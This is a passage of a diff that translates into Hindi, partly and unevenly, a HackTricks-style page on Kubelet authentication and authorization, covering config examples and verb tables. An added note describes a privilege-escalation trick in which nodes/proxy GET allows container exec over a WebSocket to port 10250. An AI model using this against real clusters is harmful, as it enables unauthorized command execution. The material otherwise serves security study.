documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) देखें -- `--client-ca-file` फ्लैग के साथ kubelet शुरू करें, क्लाइंट सर्टिफिकेट को सत्यापित करने के लिए CA बंडल प्रदान करते हुए। या कॉन्फ़िगरेशन के साथ: +> kubelet कॉन्फ़िगर किए गए API सर्वर पर **`TokenReview` API** को कॉल करके bearer tokens से **उपयोगकर्ता जानकारी निर्धारित** करता है +- **X509 client certificates:** X509 client certs के माध्यम से प्रमाणीकृत करने की अनुमति देते हैं +- अधिक जानकारी के लिए [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) देखें +- kubelet को `--client-ca-file` फ्लैग के साथ शुरू करें, client certificates को सत्यापित करने के लिए एक CA bundle प्रदान करते हुए। या config के साथ: ```json "authentication": { "x509": { @@ -42,14 +41,14 @@ ``` ## Kubelet Authorization -कोई भी अनुरोध जो सफलतापूर्वक प्रमाणित होता है (जिसमें एक गुमनाम अनुरोध भी शामिल है) **फिर अधिकृत किया जाता है**। **डिफ़ॉल्ट** अधिकरण मोड **`AlwaysAllow`** है, जो **सभी अनुरोधों की अनुमति देता है**। +किसी भी अनुरोध जो सफलतापूर्वक प्रमाणीकृत हो (जिसमें अनाम अनुरोध भी शामिल है) **फिर अनुमोदित किया जाता है**। डिफ़ॉल्ट authorization मोड **`AlwaysAllow`** है, जो **सभी अनुरोधों की अनुमति देता है**। -हालांकि, अन्य संभावित मान **`webhook`** है (जो आप **ज्यादातर वहाँ पाएंगे**)। यह मोड **प्रमाणित उपयोगकर्ता के अनुमतियों की जांच करेगा** ताकि किसी क्रिया की अनुमति या अस्वीकृति की जा सके। +हालाँकि, दूसरा संभावित मान **`webhook`** है (जो आप वहां **अधिकतर पाएँगे**)। यह मोड किसी क्रिया को अनुमति देने या अस्वीकार करने के लिए **प्रमाणीकृत उपयोगकर्ता की अनुमतियों** की जाँच करेगा। > [!WARNING] -> ध्यान दें कि भले ही **गुमनाम प्रमाणीकरण सक्षम है**, **गुमनाम पहुंच** को किसी भी क्रिया को करने के लिए **कोई अनुमतियाँ** नहीं हो सकती हैं। +> ध्यान दें कि भले ही **अनाम प्रमाणीकरण सक्षम** हो, **अनाम पहुँच** के पास किसी भी क्रिया को करने की **अनुमतियाँ नहीं हो सकतीं**। -वेबहुक के माध्यम से अधिकरण को **param `--authorization-mode=Webhook`** का उपयोग करके या कॉन्फ़िग फ़ाइल के माध्यम से कॉन्फ़िगर किया जा सकता है: +Webhook के माध्यम से authorization को कॉन्फ़िगर किया जा सकता है **param `--authorization-mode=Webhook`** का उपयोग करके या config फ़ाइल के माध्यम से: ```json "authorization": { "mode": "Webhook", @@ -59,41 +58,45 @@ } }, ``` -kubelet **`SubjectAccessReview`** API को कॉन्फ़िगर किए गए API सर्वर पर कॉल करता है ताकि यह **निर्धारित** किया जा सके कि क्या प्रत्येक अनुरोध **अधिकार प्राप्त** है। +The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **निर्धारित** whether each request is **अधिकृत।** -kubelet API अनुरोधों को उसी [अनुरोध विशेषताओं](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) के दृष्टिकोण का उपयोग करके अधिकृत करता है जैसे कि apiserver: +The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver: -- **क्रिया** +- **Action** -| HTTP क्रिया | अनुरोध क्रिया | -| ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| POST | बनाना | -| GET, HEAD | प्राप्त करना (व्यक्तिगत संसाधनों के लिए), सूची (संग्रहों के लिए, पूर्ण वस्तु सामग्री सहित), देखना (व्यक्तिगत संसाधन या संसाधनों के संग्रह को देखने के लिए) | -| PUT | अपडेट | -| PATCH | पैच | -| DELETE | हटाना (व्यक्तिगत संसाधनों के लिए), हटाने का संग्रह (संग्रहों के लिए) | +| HTTP verb | request verb | +| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| POST | create | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | +| PUT | update | +| PATCH | patch | +| DELETE | delete (for individual resources), deletecollection (for collections) | -- Kubelet API से बात करने वाला **संसाधन** **हमेशा** **nodes** होता है और **उप-संसाधन** आने वाले अनुरोध के पथ से **निर्धारित** होता है: +- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path: -| Kubelet API | संसाधन | उप-संसाधन | -| ------------ | ------ | --------- | -| /stats/\* | nodes | stats | -| /metrics/\* | nodes | metrics | -| /logs/\* | nodes | log | -| /spec/\* | nodes | spec | -| _सभी अन्य_ | nodes | proxy | +| Kubelet API | resource | subresource | +| ------------ | -------- | ----------- | +| /stats/* | nodes | stats | +| /metrics/* | nodes | metrics | +| /logs/* | nodes | log | +| /spec/* | nodes | spec | +| _all others_ | nodes | proxy | -उदाहरण के लिए, निम्नलिखित अनुरोध ने अनुमति के बिना kubelet के pods जानकारी तक पहुँचने की कोशिश की: +> [!NOTE] +> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details. + +For example, the following request tried to access the pods info of kubelet without permission: ```bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) ``` -- हमें एक **Forbidden** मिला, इसलिए अनुरोध **Authentication जांच** को **पास** कर गया। यदि नहीं, तो हमें केवल एक `Unauthorised` संदेश मिलता। -- हम **username** देख सकते हैं (इस मामले में टोकन से) -- जांचें कि **resource** **nodes** था और **subresource** **proxy** (जो पिछले जानकारी के साथ समझ में आता है) +- हमें **Forbidden** मिला, इसलिए अनुरोध **Authentication check** पास कर गया। अगर ऐसा नहीं होता, तो हमें सिर्फ `Unauthorised` संदेश मिलता। +- हम **username** देख सकते हैं (इस मामले में token से) +- देखें कि **resource** कैसे **nodes** था और **subresource** **proxy** था (जो पिछली जानकारी से मेल खाता है) -## References +## संदर्भ - [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) {{#include ../../../banners/hacktricks-training.md}}